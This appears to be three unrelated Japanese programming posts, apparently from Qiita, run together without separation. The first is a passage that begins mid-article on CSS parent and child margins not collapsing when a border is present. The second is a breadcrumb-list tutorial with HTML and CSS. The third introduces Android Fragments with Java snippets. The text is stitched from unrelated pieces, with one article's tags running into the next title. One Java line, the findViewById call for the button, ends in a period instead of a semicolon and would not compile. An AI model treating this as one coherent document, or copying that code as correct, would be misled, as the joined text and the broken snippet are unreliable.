親要素と子要素のmarginを分けられるようなborder、paddingなどをが存在する場合には相殺されない。


```html
<div class="parent">
  <div class="child">
  </div>
</div>
```

```css
.parent {
  background-color: red;
  width: 200px;
  height: 100px;
  border: 1px solid black;
}
.child {
  background-color: blue;
  width: 50%;
  height: 50%;
  margin-top: 20px;
}
```

親要素にborderがあるので、子要素のmargin-topが効く。

<img width="216" alt="スクリーンショット 2019-11-05 15.51.08.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/496792/8f661099-6e52-4371-3a05-05f030f0b81b.png">
HTML CSS 【パンくずリスト】ってなんですか？

##パンくずリストとは
![20191024_2_Qiita01.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/509471/36aea2a6-882f-0943-a6e5-6022dde487ac.jpeg)
[メルカリより]https://www.mercari.com/jp/guide/car/transport_guide/
こういうのとか

![20191024_2_Qiita02.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/509471/64973398-692c-6505-d05f-bb0a795b4aa3.jpeg)
[Web Design Trendsより]https://webdesign-trends.net/entry/2310
こういうのを**パンくずリスト**という

###名前の由来
童話「ヘンゼルとグレーテル」からきているとのこと。

###パンくずリストを作ろう

```bread-crumbs.html
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="utf-8">
    <title>パンくずリスト</title>
    <link rel="stylesheet" href="css/bread-crumbs.css">
  </head>
<body>
  <div class="bread-crumbs">
    <ul>
      <li>
        <a href="#">ホーム</a>
      </li>
      <li>
        <a href="#">カテゴリー1</a>
      </li>
      <li>
        <a href="#">カテゴリー2</a>
      </li>
      <li>
        カテゴリー3
      </li>
    </ul>
  </div>
</body>
</html>
```


```bread-crumbs.css
body {
	margin: 0;
}
.bread-crumbs ul {
	list-style: none;
	text-decoration: none;
	padding: 0;
	margin: 10px 10px;
}
.bread-crumbs li {
	display: inline;
}
.bread-crumbs li:after {
	content: '>';
	color: #000000;
}
.bread-crumbs li:last-child:after {
	content: none;
}
.bread-crumbs li a {
	text-decoration: none;
	color: #218b21;
}
.bread-crumbs li a:hover {
	text-decoration: underline;
}
```
シンプルなパンくずリストができました
![20191105_Qiita01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/509471/26b413b0-79da-650c-d150-eb668dc09f45.png)

疑似要素を使って**＞**を表示していますが、下の記述がないと一番右側にも**＞**が表示されてしまいます。
やっていることは**一番後ろのli要素の疑似要素は無し（非表示）**ということです。

```
.bread-crumbs li:last-child:after {
	content: none;
}
```

パンくずリストを作るのは別にli要素じゃなくてもいいのでは？と思ったのですが、Googleではli要素を推奨しています。
https://developers.google.com/search/docs/data-types/breadcrumb
[ Android ] Fragment基礎

AndroidのFragmentについて記す。

##Fragment
ライフサイクルを持ったビューのこと。
追加削除をしたり、複数の画面を使いまわすことができる。

##実装方法
まずレイアウトファイル(xml)を作成する。
次にFragmentを継承したクラスを作成し、onCreateView()内で
レイアウトファイルをViewとして生成する。
具体的には以下のように書く。

~~~java
public class MainFragment extends Fragment {

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        super.onCreateView(inflater, container, savedInstanceState);
        //作成したレイアウトファイルをViewとして作成
        return inflater.inflate(R.layout.fragment_main, container, false);
    }
}
~~~

ViewのアクションはonViewCreated()内で実装する。
onViewCreated()はView生成後に呼ばれるメソッドである。

~~~java
    @Override
    public void onViewCreated(View view, Bundle savedInstanceState) {
        super.onViewCreated(view, savedInstanceState);
        mTextView = (TextView) view.findViewById(R.id.textView);
        Button button = (Button)view.findViewById(R.id.button).
        button.setOnClickListener((View v)-> {
                mTextView.setText(mTextView.getText() + "!");  
        });
    }
~~~

##使い方
レイアウトファイルの左下「デザイン」を選択すると、fragmentがある。
TextViewやButtonと同様にドラッグすることで追加できる。
Fragmentが複数ある場合、ドラッグした際に選択できるようになっている。

##参考サイト

Fragment基礎
https://qiita.com/Reyurnible/items/dffd70144da213e1208b